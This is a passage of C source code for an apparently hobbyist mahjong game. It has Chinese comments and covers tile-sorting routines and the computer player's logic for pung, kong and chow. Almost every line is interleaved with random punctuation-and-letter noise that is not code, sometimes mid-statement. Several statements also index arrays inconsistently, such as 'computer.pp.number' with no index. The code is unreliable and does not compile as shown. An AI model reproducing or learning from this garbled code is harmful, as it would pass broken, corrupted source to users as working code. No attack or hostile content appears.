% r8 t2 f- ^7 ~7 }computer.pp[j+1].k=lingshi;
% }& `- v+ ~3 v3 \( K! Bu=computer.pp[n].oneorfour;  K- |' O% P$ S+ [) `! e
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
' ~  }4 a9 F5 lcomputer.pp[j+1].oneorfour=u;
7 G  ~. G7 g% Eu=computer.pp[n].number;
4 R' m( R3 R+ a& A8 e0 ocomputer.pp[n].number=computer.pp[j+1].number;# p7 H* B& K5 U5 P8 p  w+ P
computer.pp[j+1].number=u;
, t0 _3 l. F; N+ r3 Q) m9 [}, V1 T: M( f; ^1 P
}
& ?: |+ a! H& x2 {}- _  _3 ~1 j( e( r; M% t
void melipai()
3 V- R# a- ]1 \8 x' R{ int n,j,u;9 c: d& c3 d# ^* }
int *lingshi;0 E& c: Y3 t% i: z/ u
for(n=0;n&lt;me.m;n++)2 [& [! n9 G" y
for(j=n;j&lt;me.m;j++)
7 k1 N8 H0 g, K$ o& q0 E{) G% B6 W9 `2 `7 N7 s- I
if(me.pp[n].number&gt;me.pp[j+1].number)
  u* c) G! ~+ I! [2 {* a5 M{
, R& M3 ]% `7 Plingshi=me.pp[n].k;
& ~& S2 H: ?$ n9 zme.pp[n].k=me.pp[j+1].k;
8 P' A0 m/ K% `" ]+ j; {me.pp[j+1].k=lingshi;
1 U1 t, R, @" f9 U3 A- `u=me.pp[n].oneorfour;, ?7 |7 V; y' x2 ]9 l4 ?# F
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
0 ^9 v# w, r3 j& f& j5 p% Qme.pp[j+1].oneorfour=u;- `' T/ G1 V0 H; l
u=me.pp[n].number;
% h' Q+ |, _" m: I5 Nme.pp[n].number=me.pp[j+1].number;4 ^1 I6 E% I2 ?# L
me.pp[j+1].number=u;4 t3 T6 J2 t  b& d4 |+ F) H2 y
}
: a8 m0 \! J; i: N1 I3 \else
) A/ ]7 [7 L% X8 f1 jif(me.pp[n].number==me.pp[j+1].number)
( L. r. k5 J# O. F+ fif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)8 u& D4 s. d/ \, Z0 C
{7 X( e% S# c6 u4 u
lingshi=me.pp[n].k;) U) Z" |+ `9 p% e8 g$ u
me.pp[n].k=me.pp[j+1].k;4 W( f* |3 f/ N% K- b% @+ y1 v- c
me.pp[j+1].k=lingshi;
  ?2 H. o7 H* iu=me.pp[n].oneorfour;" \9 l; z2 `. Q1 T! w
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
8 _4 n3 l$ t5 G- h- e$ W/ Nme.pp[j+1].oneorfour=u;7 ?$ {6 i! t; p% t+ h
u=me.pp[n].number;8 i: `9 ^8 E2 w1 F
me.pp[n].number=me.pp[j+1].number;
6 b# J0 [' U0 A+ Lme.pp[j+1].number=u;
% k5 M8 O# l! e) C% _& F1 S2 V  H+ w; ?}0 D; ~/ q6 x* s7 V8 K2 I
}
  l  A8 ]" \) u) V, p}
! @. @% A* G2 r5 }5 n" {* q3 i1 o7 Ivoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/, g4 }6 X  P1 b4 o3 v
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
- S- P6 d9 g8 @if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)% G5 D$ w6 E7 y% H
{0 y2 Z+ R6 C. h+ Y/ m' E
logo=1;* X& M  G6 g# h! f* R9 P$ U
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
& ?1 m# @6 ]' m0 ^: ?- Ilogoo=1;* X2 E3 V; X! B( }2 x
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)- c4 a$ A4 R: U" P: }
logoo=2;4 c/ h; ^4 r1 s$ N
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
# K1 [* c$ t9 a& l0 z- ologoo=3;
3 {, I2 z  R8 {, gelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
& ^( ^' r, e; h' a6 V6 a, D& xlogoo=4;* K4 F9 D) D# e& y2 ?4 M3 m0 z. X
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16); ?  U; u6 X" L) C
logoo=5;/ V( u5 J) s; E8 `' B: y
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)" u, d: ]7 W0 e! G- ~" w1 @
logoo=6;0 D2 ?# s& }' a5 X1 n% F7 M% Z
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)3 U5 m+ ~7 B  E5 ~( D
logoo=7;( b* f+ C* R5 D1 L# o
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)2 E4 @/ b/ `) r; l1 s* }1 T+ K
logoo=8;
' [$ C0 d0 k8 ?7 F8 Celse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)/ b; X) E3 l& P7 K( b( S
logoo=9;6 Y  H4 F) A( q( ]2 y
}
0 _5 A% f' J! b# w& B6 v1 H* telse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)$ Q7 k( F# v4 m. l1 Z. x
{
  ?" z4 k' I' i' }# M( o9 Elogo=2;3 I) d! M% t0 m, O* ]" b
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
  y& Z4 d2 y/ \3 q* ~$ {$ f) Ylogoo=1;. |3 C- M  c; U
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)! A) M* h5 `- ?5 a/ z, g
logoo=2;# g7 ^! K0 @/ ~2 ?% S- u" v+ H  w
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)1 Y* t4 R5 |8 U" D; W
logoo=3;3 }' C6 o+ Q( }- B: ^
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
$ V( d' l! Y) D9 W4 |  I. slogoo=4;
0 |; L2 p' B, g- w7 r) |8 r2 Lelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)& @) z& M9 p+ P. o! C! E
logoo=5;' }. l7 _% ]  m, E* @$ I
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
/ ?+ p/ S! F' I* F$ m# x9 vlogoo=6;
0 }- {& B, F2 ~! _. Velse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
* p7 F9 H) r2 m) ?logoo=7;. R4 K9 Y* w% @. h/ Y# K
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)( w* I% t8 u/ @; F
logoo=8;
4 R# I. h4 T5 U% U/ u4 A+ Nelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)+ j* [$ d+ u( @8 S" U# Y
logoo=9;8 H" M3 z& W8 ~6 W. \; a
}. Y* s" |2 ]9 H/ v/ u2 o6 w& D" p8 g: Y
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
: j3 g% T1 a3 o3 B- D{
7 t& f+ e7 i6 f1 j. E% {, `* ~logo=3;5 x, o$ T$ g' J0 @9 Q6 B1 S1 g/ N! y
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)$ J* D, F9 q3 Q1 p) ~% y9 R# G: I
logoo=1;
. A9 I# }6 B8 i7 B4 Pelse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
  {( c! A4 ^, g8 g! Alogoo=2;
6 Q0 g/ {7 k4 d8 ]else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
1 @) v% j( F- }! y2 clogoo=3;
$ r7 T0 \" d7 C. h, I0 Q# r# I. zelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)2 f. B) a4 N4 W, O6 a* W
logoo=4;3 ^" D; T; e0 M
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
7 b0 K/ j$ r* D4 A: X% T. @- j% hlogoo=5;
% f# k7 |' J( K. Q* e& y0 Xelse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)  z3 K9 L$ E! ^1 C, R- k3 ~6 I
logoo=6;
- K. O5 h4 F8 \else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)" H) X' }' N- y
logoo=7;4 ^- ?% C, o8 W7 |) X$ u
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
/ u" D  n% s; ~) V8 Jlogoo=8;
" J) }1 U( j2 k+ Aelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
# @# f8 `5 G5 @3 o# ]2 Glogoo=9;% n- c# n% T- X7 I2 y
}
; i$ F# r0 ^9 f5 K6 ]% _% nelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108), {( s; i& _+ ~$ x
{1 r6 r0 o' A0 \1 b# G! K, f
logo=4;
: a/ C( {' y6 g/ a) d( \# ]8 eif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
/ S" t/ N' s' w& S: F# t! Plogoo=1;+ d9 Y' K( w3 s. p% r4 c
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
1 r$ W6 P% Q! }# Llogoo=2;
4 ~" X/ o( C5 b: Velse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116), e/ y$ ~3 {& E+ T
logoo=3;8 R3 |7 t6 o; T. x8 T; H
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)' J4 p! h) B+ G+ G" h6 |, A. a& `
logoo=4;9 S' w# e0 p: }5 h, }/ c
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)' X( X- `/ E, P
logoo=5;
1 |' y! j, u) ]4 Zelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
: x1 T! i, V% L4 m% wlogoo=6;; x9 Z9 u, e: T# U- V
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
3 j$ N1 b, Z0 ^) v3 ylogoo=7;4 ]4 Z1 i1 O4 o5 l8 E  i# W
}
$ X3 e9 T% _7 G# |1 m0 p" L) }; Cwhile(b&lt;=computer.m)
+ k- h8 V1 A1 A% \{2 F, l5 T( s0 U) ^( G
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
% G/ w. C. R) T( O. H{
' ], a% x+ u$ Q! E  qlg=1;5 |/ O; k, q/ i8 m/ D
computer.pp.d[0]=1;
6 X' B' x; e& N" K: W; mif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)4 r! E* m# ]2 v% q$ D9 W) Y
{
3 m, l$ e& q/ |9 r" e2 y0 \9 E, Dlgg=1;
1 M' P1 e; T' e8 \3 G& h! L5 p& ycomputer.pp.d[1]=1;
! f9 b2 l' y& z5 j6 X* g}
, N9 v% W7 }3 T1 U: o, u$ ]/ @0 Zelse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
$ Y3 _+ q* w% {) B" E{
- Z: d* J& [3 f: c4 s$ qlgg=2;
* _" i! I* Y- C2 E  G6 G7 A# H, Wcomputer.pp.d[1]=2;
! ^7 y; @0 q9 E. h" U; G}; B4 x5 G$ P+ }1 Z
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)' E5 f( m5 n8 Y
{
. m0 P0 T+ Z. H* i- ^lgg=3;4 E& J& y# H2 n& |* o1 A
computer.pp.d[1]=3;0 X/ D9 z- [) N
}# B- p6 B# D8 n- `3 b0 z" D% p. y
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12). N8 ]$ w9 x+ H7 d3 o5 B* U
{
! V  v9 }! d1 e: n7 [" {. }lgg=4;
" L3 A2 n2 U  N3 I4 P- xcomputer.pp.d[1]=4;) a" o8 n8 Q  s" ^+ M% u& J
}
; x# |( B+ F' {else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
! W9 W/ _. S3 z5 \{
- p0 ^- r1 H% q" z9 @* X# ylgg=5;
1 b# j2 W% b% ?; {1 z7 v6 |& Hcomputer.pp.d[1]=5;
4 x6 E: T; G' i}" x2 _2 E* `! |- h% i- D
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
1 g% l* ?9 W2 T5 P{. H  ^# r- E9 |4 P
lgg=6;
" z, U7 ~+ w, K7 T, pcomputer.pp.d[1]=6;
: |/ t" ~4 R, ~) H6 S; [. b. H}0 t* q  J( i( C% _/ ^: l
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
; \+ J- P  C* Y. a7 Y. o{
( a% S; T5 ~) d- \lgg=7;
; U- k+ c. j  C" E9 D& k- ?7 i  o# acomputer.pp.d[1]=7;
' W: N  [! ^0 l* h5 W: z}: T) U# X' A# l4 |3 F, R! W
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)0 z. ^9 F' q' Z. p4 T- @2 G$ K9 O# K
{
$ f0 a  Z: P+ ~8 c  m% slgg=8;
# t* [1 E, F6 @  }; _6 T$ Hcomputer.pp.d[1]=8;+ w' p2 b% @& J: m) M
}6 w5 G4 D% Z$ a1 K" {6 R7 F
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
# O: o4 O% L1 r, ^{* b+ r# a/ {' \/ d
lgg=9;, ]  T1 Q! j2 m" u- j1 \5 [. H
computer.pp.d[1]=9;
( c1 h6 R; r3 v7 q+ P3 k}
6 S, J' y: X2 b$ Y}
8 h1 r  c" Q' H  t  I" H  ]/ T& |6 Telse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
5 w$ Y2 {$ G5 \% s7 Q! G4 r{
; I& K( a9 @3 I1 }& f# @# {/ tlg=2;
# \0 a6 j/ i  rcomputer.pp.d[0]=2;$ n# H' Y' N5 J+ n" s* G
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)0 Q% R0 z6 m5 b5 M. u
{
+ k$ G: A8 S' K8 o6 C0 Q& ]+ _) Wlgg=1;
6 Y4 G; d% G" A& b9 @* P0 Gcomputer.pp.d[1]=1;
0 u  x! E/ y' A; S* z}
+ {9 P% U1 }  C2 u) F. _else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
) x- `$ i% C7 m2 K+ }7 A{$ P3 j0 S$ E/ N& `" S! H& r9 b
lgg=2;( Y9 l8 P4 I+ F+ {7 ?2 ^6 b
computer.pp.d[1]=2;
3 u1 W6 U' i- W" }# P}& Z0 H- J& `1 u7 K
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
) Q) H  R+ H" X{
, q* v6 N, l, X& o: Elgg=3;, `% Y9 K% O3 F6 |( x
computer.pp.d[1]=3;5 {% P% J& h8 [6 r5 C9 o! W1 S
}
. z9 ]$ J, W6 ]4 C/ }' @else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)$ m; o  f  F( W
{
7 w+ ?: i/ y$ Mlgg=4;" {! t3 [( S' \, j6 o
computer.pp.d[1]=4;. Q! m1 M& d: s. u% Y" s8 H3 l
}
3 ?' V, Q3 d! ?else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
4 }* w2 A/ |' N  T3 L) q. q+ z{  T2 |8 Z  D& Z  [- C5 H8 m
lgg=5;
6 R9 D2 D. Z* o: C6 N! vcomputer.pp.d[1]=5;
0 w7 B1 r# j  o+ Y# r}$ }2 X; M% r! ]" ]: ?0 P6 f4 K
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)  A& f2 ]0 y0 e  ~" o" r
{* h. F! ^, I" B' W5 z8 p- W
lgg=6;( O9 `4 ~* B- S5 X
computer.pp.d[1]=6;& w$ t- l  r9 M7 }5 Q/ p1 U
}
- i/ y6 s4 v& y$ e! X, S" ?) Eelse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)/ x) X* U/ Q" ^0 o/ ^
{& Z" ?/ }! f" l) g5 ~# a0 t
lgg=7;: j. C! X: p/ \3 b
computer.pp.d[1]=7;  S( }  e4 ~* _, {( E
}
" K( i/ @4 [% w9 Pelse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
4 _# E6 m) J) i; s+ `{) A8 }: B9 p$ q6 l2 `# v' z
lgg=8;) V4 c  f3 E9 Q% n0 x, D, o1 r
computer.pp.d[1]=8;
# h2 U( r  _# p. F- s6 b" i}
  S5 y. J6 e5 n8 xelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
5 k; J. O' W1 L{
5 z6 ~! Q2 @3 ?! [& @lgg=9;" Z1 {; L  R  W; L
computer.pp.d[1]=9;
8 C. x' B. R1 k- I" ?: `}
8 [% A# g- |% k1 N1 ~% F3 c}/ y- {0 M$ o7 ^5 q# Q- c
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
! R% s( w$ r4 B6 w0 a; h{
5 i4 H( v" O; [5 g  F) Ylg=3;
/ b2 A* \+ A) Ucomputer.pp.d[0]=3;$ l. W& ^2 x6 q( k" \8 {  |% X+ y$ O
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
9 E7 v. Q; p& J  }; m{
* S( T- i8 P5 c$ o% z; O: rlgg=1;
- L) I* m( L( U2 R  Ecomputer.pp.d[1]=1;
$ P- n5 r- u  E}/ [) {: |+ ^& x3 ^+ g: @
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
! E/ `+ I. L( H2 ?{
3 S# Z5 Q) E, e0 \: t) x  Jlgg=2;
' [9 M6 r) e0 H2 f4 Jcomputer.pp.d[1]=2;
% k- F4 ~, f) t: R" G4 C# R/ N}5 m% a$ p& f  h! S5 ]1 o  o: z% [) D7 |
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
- n; t. T6 r) ?* @  D2 [{
* s2 u+ T: ?5 X4 jlgg=3;
8 x/ H* g5 t6 i  ccomputer.pp.d[1]=3;- A$ ^( V/ l& g9 K9 E6 R- ?6 r. t
}
8 w& v; f& F1 ^, c; C# \/ xelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
  A+ A: n& ?9 O. e  n{8 p5 h2 q; q- E( I
lgg=4;
, a8 m+ N5 F# K' Y6 c# J8 ncomputer.pp.d[1]=4;  w4 D* [& L! Y
}
; l' ~- t, u9 P+ Selse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88), b. r* y; _0 ^1 N6 ~$ z
{3 k+ a* Z) N( W8 f
lgg=5;3 l/ V0 n1 _0 k1 R* Q; o9 K% J
computer.pp.d[1]=5;4 u4 p- {' A" D% j
}
  g, ], P5 v, N  E* z3 c0 z. Y$ Melse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
% I1 v& v' d( U! i" W+ Y{
, [  f2 h7 l7 I4 [, b9 C; clgg=6;- c+ _/ m1 J  R' e' g1 [
computer.pp.d[1]=6;! j. \3 ~2 w: C/ E. N
}
; {& z6 ?: w: H* `else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)1 n! G1 X& g0 U9 g1 V
{5 p( g: s9 Z  O: F, J  L4 _, b8 I
lgg=7;! \; J( ?* j- Z9 @! o( u. W
computer.pp.d[1]=7;% H- P- _" _/ }7 P
}
  B  w( W2 j/ d( @( f  a4 @else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
1 f; a7 ^3 `) X. U1 W) H2 T{
5 l! A, ~% H/ j$ @" n8 vlgg=8;
8 S: q* \8 i1 k) y: R% mcomputer.pp.d[1]=8;, r! Z, o4 r5 {
}
6 T% d) P4 ?0 O" p! {else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
8 f4 E& P7 o  R. B4 m. W4 p& ~3 a, b{2 Q. x6 n5 N# t2 g# \0 o
lgg=9;
% h' P& t) A% Q5 icomputer.pp.d[1]=9;
' n  S' h0 f: T! o8 M! P& t& W}
5 d6 J4 V/ a+ D1 `}
5 @6 y: ^1 u% T' x0 ?* |5 Gelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
6 I& @- X( S* E{
3 ]* q( U* l: G  T- k# J0 H4 nlg=4;& H" y  ?( `8 P' O
computer.pp.d[0]=4;& I- v& f' d7 S( F
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
3 k# M$ i3 B2 z, h) J, t: k4 {5 P' K{; C8 p* y% x  g) ]' |7 ~
lgg=1;
) F- |. M2 e4 X' O- S5 Scomputer.pp.d[1]=1;6 f; t4 x" _1 g: F' N$ z
}
+ P  g3 y# F; c8 q) Velse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)+ \( X; y7 L) \2 i6 n& U) B6 |
{* v. Z$ C% g( B( ^# c
lgg=2;
% k( ~, ~* `$ z8 S2 W0 S3 acomputer.pp.d[1]=2;
6 L8 y# a+ Y5 V; C9 o+ L5 C}8 v# A% g  v! F
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
& l: `" p3 c' ]1 k. ~* Q, R6 s{  }: H- H. [: A' w0 ]. A
lgg=3;' B$ o0 J5 K3 j7 v
computer.pp.d[1]=3;
9 |7 \  `. k& e+ }- a}
& g& [$ F( X+ S5 {2 O! Yelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)5 j) A4 X# @8 S' Q& W  r
{
- f* D: v0 l7 u: y' zlgg=4;
+ L; J+ R: M$ p" r$ {+ ?( B4 P; qcomputer.pp.d[1]=4;% b& |  A$ z/ H& Q( G; W
}
% k. R% u: i2 r- C. Qelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
( j: R. ]( W! q9 j, W{
# ~4 N, Q& c3 g$ mlgg=5;
7 b9 a# i! I& ]; T0 D5 vcomputer.pp.d[1]=5;; }; C* H1 W1 K4 M% _/ b
}. l* W( @; ^% |% ^2 i# q6 `
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)9 z+ g3 `0 e/ u2 z# C6 o
{, o! G; \  I5 K- T1 C
lgg=6;" R$ L2 C( _: ]
computer.pp.d[1]=6;
+ G/ V# l5 C: X' V, l* p7 W}
' [; {& Z; S* W  delse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)/ [( H) q2 q4 W6 y% V) f
{
. D. _7 F1 P/ C) i4 Q3 `4 vlgg=7;
- h9 E: h- f# t5 @" D2 I4 P5 {+ ocomputer.pp.d[1]=7;
& \3 K8 O2 |- t* X4 ~}
& M; t9 {7 x: K- T5 ?}
8 G7 t1 Z( e, D/ m1 |+ G/ C. S; Y+ n& g4 ^) }7 C" ?4 V
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/; |% R* M7 h/ G" A- q4 j7 c5 J
if(logoo==lgg)
  J9 f4 C" F# h, v8 w: h8 gpg++;+ x, Y4 B( n/ ^' K
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
; L# G) U! \- ^0 C; kch.lgg=lgg;
7 t; p( M) c- r& V9 n0 l# Jlg=0;4 k: ]3 V! |% D" S7 A! x+ F9 d
lgg=0;
9 T6 U8 E+ ]8 I/ Q% \b++;6 y4 W$ a, U& S, B2 `6 R
}
+ h$ d# ^% X2 {& |if(pg==2) /*乓*/
2 {9 }; j2 V. E1 D, ~+ g5 _- B{" o% h3 Z2 P7 @0 w3 K/ v: Y9 e
# ^- `5 ^6 l1 C/ u0 j
sing=1;/ H$ d* E) j* @
b=computer.m;* T6 U; D$ V! l( R7 Y+ g. P
while(b!=-1)
9 l3 M  _! X4 ]' j# M2 f/ I: H{( @+ r3 Z2 i4 f1 o  u5 M1 a
if(strcmp(me.pp[c].k,computer.pp.k)==0)
1 [: G. q9 m, F* }( m+ J! O! v% jcomputer.pp.p=1;; U; b+ c  ?# E" o* T

' ^3 G* O( f' `4 Xb--;
* g8 G; L8 t, I8 [2 f* d& r. B; `9 R}9 m9 C+ ?7 p0 k) c2 t
}- H8 A7 j& f" p
if(pg==3) /*杠*/
7 B! x. C' B2 U{
' a( p. y8 S% A' Z1 \6 y) x# B) \2 @4 A0 B  T! C: D
sing=2;2 B3 ]1 v3 k3 w6 [  H6 m: O1 w# j
b=computer.m;; R* t- i. S$ V+ v( H
while(b!=-1)
7 d) [2 |( ?! \& B; {+ d# V{9 I5 M3 ?2 F( E: {+ [  G, e; K! r
if(strcmp(me.pp[c].k,computer.pp.k)==0)- b6 r- x/ r1 V2 U* `
computer.pp.g=1;
9 ]0 K$ {. }/ D9 t' ^3 g( @b--;
, r' \. D" r& B* u" q}
& d4 ]) n5 Z/ b6 r1 d4 h2 H" w}
% ~5 l& w: V) Tf=0;: c. K  c9 g# \9 Q5 O8 l: v
while(f&lt;computer.m) /*吃的判断*/
: J6 V% u  q. b, H. V{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
9 j! R2 b" V6 ~2 r8 ]0 R  D{
. N6 N- X: D8 B) t9 H, a) P% A; h1 ]if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
4 t5 R% \, n9 l4 l  L7 s, C& m1 {if(ch[f].lgg-logoo==1)
5 Q" ?3 Y* R/ i) {& W& c{
7 n( F# R; E( zgp++;
1 n7 K/ W" g+ U4 Q1 @computer.pp[f].c=1;& Z0 B  H; z! D2 L1 q
computer.pp[f+1].c=1;9 F2 D7 |7 e) K5 x! i
}8 v2 ?2 F% w, U5 K  T% A1 r
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/0 T; B3 e- T+ ^. Q
if(ch[f+1].lgg-logoo==-1)4 \7 y5 C. H8 ?! c$ W
{, ]" E2 e! D; k( M5 Y0 C1 S
gp++;" U% ]) e/ g0 a3 Z: x, b6 R* {2 X- z
computer.pp[f].c=1;
+ u/ |) J1 G) h0 ~, Mcomputer.pp[f+1].c=1;
, V8 K9 V( N1 K% D2 l4 ^2 H  O8 ?}
  P' }: p0 U9 x" j) F8 }# F3 C: X7 Zif(ch[f].lgg-logoo==-1) /*中吃*/" W3 k- {( z; x$ y$ |4 Z& Z9 R
if(ch[f+1].lgg-logoo==1)
" N9 t" i8 B; T; V! p" n3 r{. m+ C4 w% x8 x* u; {3 {6 {: g
gp++;
  y0 c5 B. Z1 G; {6 Bcomputer.pp[f].c=1;
  N3 E9 \8 N: W7 gcomputer.pp[f+1].c=1;) f' d: M$ p2 g) G
}
: b/ W/ l/ p2 H$ ?3 qif(gp==1)6 K+ c& x; u# f: D+ Z8 \* a2 b! M
break;
+ K. t% S' C1 H1 E( T7 T}! n& V" ~  P: [+ l) F% [7 t
f++;
" @) }$ v: y" F. G! L}9 Q/ w0 g6 G) ^3 ?  z
if(gp==1)
7 C2 ?( d8 l" R{sing=7;
/ X. {1 G6 S3 U4 l, d/ O1 {& ^
" Y. d$ O% S% ~8 a5 Z0 @) }}* p- V6 J) A- K, y- f1 X) Y8 Z0 C
pg=0;9 `% z  R! T. \  L& O+ x
gp=0;: e% O$ p. [1 [. O* q
b=0;
* i# Y0 T) k& N+ q  o# q- |  z- y7 S, C& Z}
' |0 Q8 |6 I# U1 ~void rgznme(int c) /*本程序涵数的核心针对我的牌*/
* B0 W/ y" q/ U" K7 y{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;$ e8 c2 f( z- P# d' k
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)) V& ]5 L0 X( O' K; T6 |5 y
{7 j) ], U9 H& e% S0 G3 X+ U
logo=1;
: o; P& X/ R3 b8 vif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)( \8 M8 W0 b: B% h% v& o
logoo=1;3 Q$ ?$ \) D- e$ h, C& w
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
0 i# v" t% N  |4 D$ Y5 ]5 Mlogoo=2;! E" o* M$ R5 o4 R( U5 s# F
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8); ]/ F0 ^" \' L6 \% S
logoo=3;
- D* h$ I& D: s, i( X- ^, Selse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)+ ~0 o+ [- `/ G
logoo=4;
6 y+ A) f5 F% {% D8 S+ [4 Z# \else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)9 {$ G3 D) @+ Q) \& J* Z
logoo=5;
" u1 |3 f1 ?2 K6 @! A7 Yelse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
0 \) w& Y- ]) i( Llogoo=6;
/ V, A7 S2 Y7 N2 C5 T9 ?" w' b7 W( zelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
3 b' \2 i$ `- K2 H$ Klogoo=7;: t5 {, F8 v! a" R* o& N5 V
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
& u4 W" U2 j3 m: o7 ologoo=8;; T1 ?2 O+ K1 {! a
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
" l5 J7 W1 J: B; ^logoo=9;
% u: |# w' h$ X}
